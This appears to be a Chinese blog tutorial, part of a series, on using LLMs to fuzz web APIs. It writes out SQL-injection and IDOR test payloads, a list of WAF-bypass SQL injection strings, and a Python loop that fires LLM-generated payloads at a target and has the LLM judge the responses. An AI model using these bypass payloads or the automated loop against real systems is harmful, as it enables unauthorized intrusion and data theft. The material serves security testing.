一句话:AI 最擅长的不是发明新漏洞,而是把已知漏洞的 Payload 变形出 200 种 WAF 不认识的写法。
一、Fuzz 的本质与 AI 的切入点
Fuzz 的核心是两件事:种子质量和变异策略。
传统 Fuzzer(AFL、radamsa、wfuzz)靠暴力变异,问题在于:变异出的绝大部分是无意义数据,浪费请求配额。
AI 的切入点很明确:
| 环节 | AI 的作用 |
|---|---|
| 种子生成 | 从接口文档/参数名推测可能的注入类型 |
| 变异策略 | 基于语法规则做语义级变异,而非字节级 |
| 结果判断 | 从响应差异中识别"疑似成功",降低人工 review 量 |
| Payload 变形 | 针对特定 WAF 做定向绕过 |
二、从参数名推测攻击面
这是最被低估的一招。把接口参数列表丢给 AI:
# 输入
POST /api/v1/order/query
参数:orderId, userId, startTime, endTime, page, size, sortField, sortOrder
# 任务
对每个参数,推测最可能的漏洞类型,并给出一条最小化测试 Payload。
按"可能性从高到低"排序。
AI 的输出(实际效果):
| 参数 | 推测漏洞 | 测试 Payload |
|---|---|---|
| orderId | 越权 / IDOR / 数字型 SQL 注入 | 1 or 1=1、1 AND SLEEP(3)、改成他人订单号 |
| sortField | SQL 注入(ORDER BY 无法预编译) | id,(select 1 from(select sleep(3))a) |
| sortOrder | SQL 注入 / 逻辑绕过 | asc;select sleep(3)-- |
| page/size | 分页越界读取 | size=99999 |
| userId | 水平越权 | 替换为其他用户 ID |
sortField 这一类是 AI 的价值所在——它知道 ORDER BY 后面的字段名无法参数化,这是很多扫描器会漏的点。
三、语义级 Fuzz:让 AI 生成变异体
不是随机改字节,而是按语言的语法结构变异:
# 任务
目标:JSON 解析器接口,参数 name 是字符串。
生成 50 个测试用例,覆盖:
1. JSON 结构畸形(未闭合、嵌套超深、重复 key)
2. 类型混淆(字符串位置传数组/对象/null)
3. 编码绕过(Unicode 转义、UTF-7、代理对)
4. 特殊字符(反斜杠、控制字符、超长字符串)
每个用例说明它想测试什么解析器缺陷。
# 输出格式
[{"payload": "", "purpose": "", "expected_behavior": ""}]
AI 生成的用例有目的性,比随机变异有效得多。
四、WAF 绕过 Payload 生成
这是 AI 最实用的场景之一。
# 背景
目标 WAF 规则:
- 拦截关键字:union、select、sleep、<script、alert
- 拦截单个空格(推测用正则 \s)
- 不拦截注释符
# 任务
给出 10 条能绕过上述规则的 SQL 注入 Payload(MySQL 环境),
每条说明绕过原理。要求保留原攻击语义。
典型输出:
-- 内联注释拆关键字
1/**/UNI/**/ON/**/SEL/**/ECT/**/1,2,3
-- 大小写 + 内联注释
1 uNiOn/**/SeLeCt 1,2,3
-- 等价函数替代
1 AND (SELECT 1 FROM (SELECT SLEEP(3))a) -- 被拦
1 AND BENCHMARK(5000000,MD5(1)) -- 替代
-- 注释伪装 + 换行绕过空格过滤
1%0aUNION%0aSELECT%0a1,2,3
-- 等价字符
1 UNION SELECT 1,2,version() → 1 UNION SELECT 1,2,@@version
AI 的价值在于它会穷举各种等价变形,而人往往只会想两三种。
五、把 Fuzz 闭环起来
单次生成 Payload 不够,要做成自动迭代:
import requests
from openai import OpenAI
client = OpenAI()
def fuzz_loop(target_url, param, max_rounds=10):
# 初始 Payload 由 AI 生成
payloads = ai_generate_payloads(param, count=20)
history = []
for rnd in range(max_rounds):
for p in payloads:
try:
resp = requests.get(target_url, params={param: p}, timeout=8)
# 让 AI 判断响应是否异常
verdict = ai_judge_response(
payload=p,
status=resp.status_code,
body=resp.text[:2000],
baseline=BASELINE
)
history.append({"payload": p, "verdict": verdict})
if verdict["is_vuln"]:
return p, verdict
except Exception as e:
history.append({"payload": p, "error": str(e)})
# AI 根据历史结果生成下一轮定向 Payload
payloads = ai_evolve_payloads(history, param, count=20)
return None, None
其中 ai_judge_response 是关键——让 AI 对比基线与响应差异:
# 任务
判断以下响应是否表明 SQL 注入成功。
基线响应(参数正常值):
状态码 200,响应长度 1420,无报错
测试响应(注入 Payload):
状态码 500,响应长度 87,包含 "You have an error in your SQL syntax"
# 输出
{"is_vuln": true, "type": "error-based", "reason": "..."}
AI 判断错误回显比正则匹配强得多,因为它能理解语义("这个报错是框架的通用 500 页,不是 SQL 错误")。
六、注意事项与踩坑
1. 速率控制:Fuzz 循环务必加 time.sleep() 和并发限制,别把目标打挂。
2. 别让 AI 凭空造 Payload:所有 AI 生成的 Payload 先本地在靶场(DVWA/sqlilabs)验证语法正确性,再打真实目标。
3. 响应判断要防误判:AI 有时会把"正常的 500 错误页"判成漏洞。必须保留原始响应供人工复核。
4. 记录完整:每次请求的 payload、响应、AI 判断都要落库,方便回溯。
七、小结
AI 在 Fuzz 环节的定位是**"智能变异器 + 智能判别器"**:前者解决"种子不够刁钻",后者解决"结果 review 太累"。
真正的效率提升来自闭环:生成 → 发送 → 判别 → 基于反馈再生成。
下一篇:LLM 辅助代码审计的实战方法。
系列文章:AI 渗透测试与漏洞挖掘实战